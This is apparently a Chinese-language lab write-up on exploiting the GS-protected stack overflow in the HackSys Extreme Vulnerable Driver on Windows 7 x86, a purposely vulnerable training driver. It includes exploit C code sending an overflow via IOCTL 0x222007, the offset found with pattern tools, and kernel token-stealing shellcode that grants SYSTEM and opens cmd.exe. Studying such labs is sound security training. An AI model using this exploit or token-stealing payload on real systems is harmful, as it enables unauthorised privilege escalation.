漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

2022-07-07 16:57:30 浏览数 (2)

作者:selph

前言

窥探Ring0漏洞世界:缓冲区溢出之突破GS保护

实验环境:

•虚拟机:Windows 7 x86

•物理机:Windows 10 x64

•软件:IDA,Windbg,VS2022

漏洞分析

本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可以看到两个函数:BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,跟上一篇一样,前者是分发程序,后者是漏洞程序

IDAF5里可以看出,这是一个经典的栈溢出漏洞:使用用户输入的长度进行memcpy调用,和上一例完全一样

int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size) { unsigned __int8 KernelBuffer[512]; // [esp 14h] [ebp-21Ch] BYREF CPPEH_RECORD ms_exc; // [esp 218h] [ebp-18h] memset(KernelBuffer, 0, sizeof(KernelBuffer)); ms_exc.registration.TryLevel = 0; ProbeForRead(UserBuffer, 0x200u, 1u); _DbgPrintEx(0x4Du, 3u, "[ ] UserBuffer: 0x%pn", UserBuffer); _DbgPrintEx(0x4Du, 3u, "[ ] UserBuffer Size: 0x%zXn", Size); _DbgPrintEx(0x4Du, 3u, "[ ] KernelBuffer: 0x%pn", KernelBuffer); _DbgPrintEx(0x4Du, 3u, "[ ] KernelBuffer Size: 0x%zXn", 0x200u); _DbgPrintEx(0x4Du, 3u, "[ ] Triggering Buffer Overflow in Stack (GS)n"); memcpy(KernelBuffer, UserBuffer, Size); return 0; }

交叉引用查看调用处:依然跟上次一样

int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp) { int v2; // ecx _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx v2 = -1073741823; Parameters = IrpSp->Parameters.CreatePipe.Parameters; if ( Parameters ) return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options); return v2; }

接着往上走,找到控制码,这里调用处前面的标号是$LN6

查看前面的跳转表:

可以看到,这里是按顺序排的,这里eax只要等于1即可跳转过来

根据上例可知,eax=0,需要的输入是0x00222003,查看eax是怎么来的:

是通过这个索引获取的,所以这里eax得是比上次多4,所以这次使用的控制码是:0x222007

漏洞利用

突破GS拿到程序控制权

GS保护机制简介:开启了GS保护,会在函数开始的时候用ebp对随机值进行异或,然后保存,在函数结束的时候进行检查,再次异或查看随机值是否与之前一致,如果一致则通过GS检查,不一致则进入另外的程序流程

常规的绕过GS保护的方式就有利用虚函数或者SEH进行突破,无论是这两个的哪一种,都可以在GS检查之前把程序给劫持走

所以对于突破GS保护,只需要通过生成随机序列,然后看程序会跳转到随机序列的哪里,就可以判断在哪里可以劫持程序执行流程了

使用kali的pattern_create.rb进行生成:

┌──(selphkali)-[~/桌面] └─$ ./pattern_create.rb -l 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

构建测试程序:

#include #include char *shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"; int shellcodeLength = strlen(shellcode); int main() { HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR]Open Device Errorrn"); system("pause"); exit(1); } else { printf("[INFO]Device Handle: 0x%Xn", hDevice); } ULONG WriteRet = 0; DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL); return 0; }

很快,就看到程序报错了,查看寄存器:

Access violation - code c0000005 (!!! second chance !!!) 73413173 ?? ??? kd> r eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8 eip=73413173 esp=9745bae0 ebp=41307341 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 73413173 ?? ???

eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:

┌──(selphkali)-[~/桌面] └─$ ./pattern_offset.rb -q 73413173 -l 1000 [*] Exact match at offset 544

偏移在544的位置,修改测试代码再次尝试:

#include #include int main() { ULONG UserBufferSize = 544 4; HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf("[ERROR]Open Device Errorrn"); system("pause"); exit(1); } else { printf("[INFO]Device Handle: 0x%Xn", hDevice); } PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); if (!UserBuffer) { printf("[ERROR]Allocate ERROR"); system("pause"); exit(1); } else { printf("[INFO]Allocated Memory: 0x%pn", UserBuffer); printf("[INFO]Allocation Size: 0x%Xn", UserBufferSize); } RtlFillMemory(UserBuffer, UserBufferSize, 0x41); PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer UserBufferSize)-sizeof(ULONG)); *(PULONG)MemoryAddress = (ULONG)0x66666666; ULONG WriteRet = 0; DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; return 0; }

抛出异常:

Access violation - code c0000005 (!!! second chance !!!) 66666666 ?? ??? kd> r eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158 eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 66666666 ?? ???

成功找到溢出控制点,接下来构造shellcode进行跳转即可

构造shellcode

这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:

示例shellcode:

// Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { __emit 0cch pushad ;获取当前进程EPROCESS xor eax, eax mov eax, fs: [eax KTHREAD_OFFSET] mov eax, [eax EPROCESS_OFFSET] mov ecx, eax ;搜索system进程EPROCESS mov edx, SYSTEM_PID SearchSystemPID: mov eax, [eax FLINK_OFFSET] sub eax, FLINK_OFFSET cmp[eax PID_OFFSET], edx jne SearchSystemPID ;token窃取 mov edx, [eax TOKEN_OFFSET] mov[ecx TOKEN_OFFSET], edx ;环境还原 返回 popad xor eax, eax add esp, 12 pop ebp ret 8 } }

这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:

kd> k # ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 00 92031ae0 928f70ea 0x1f1043 01 92031afc 83e83593 HEVD!IrpDeviceIoCtlHandler 0x86 02 92031b14 8407799f nt!IofCallDriver 0x63 03 92031b34 8407ab71 nt!IopSynchronousServiceTail 0x1f8 04 92031bd0 840c13f4 nt!IopXxxControlFile 0x6aa 05 92031c04 83e8a1ea nt!NtDeviceIoControlFile 0x2a

可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler 0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行

返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:

PAGE:004452C8 loc_4452C8: ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x) 13↑j PAGE:004452C8 8B C1 mov eax, ecx PAGE:004452CA 5D pop ebp PAGE:004452CB C2 08 00 retn 8

eax里保存一个返回值,弹出原本的ebpretn 8

也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:

kd> dds esp 92031ad48855a4d0 92031ad8 83f11087 nt!DbgPrintEx 92031adc 8855a540 92031ae0 92031afc 92031ae4 928f70ea HEVD!IrpDeviceIoCtlHandler 0x86 [C:UsersselphDesktopHackSysExtremeVulnerableDriver-masterDriverHEVDWindowsHackSysExtremeVulnerableDriver.c @ 283] 92031ae8 8855a4d0 92031aec 8855a540 92031af0 86671350

call指令的作用是入栈返回地址 跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:

PAGE:004452AA 55 push ebp PAGE:004452AB 8B EC mov ebp, esp

第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可

所以要做的操作就是:add esp, 0xc

获取System权限

提权后执行的操作:

system("pause"); system("cmd.exe");

截图演示:

参考资料

•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] 探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com) https://www.kn0sky.com/?p=66

•[3] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客 https://blog.csdn.net/l1028386804/article/details/86494568

•[4] HEVD Stack Overflow GS (klue.github.io) https://klue.github.io/blog/2017/09/hevd_stack_gs/?msclkid=9bb65ef4cf4a11ec8dd20f19f6cc758c

0 人点赞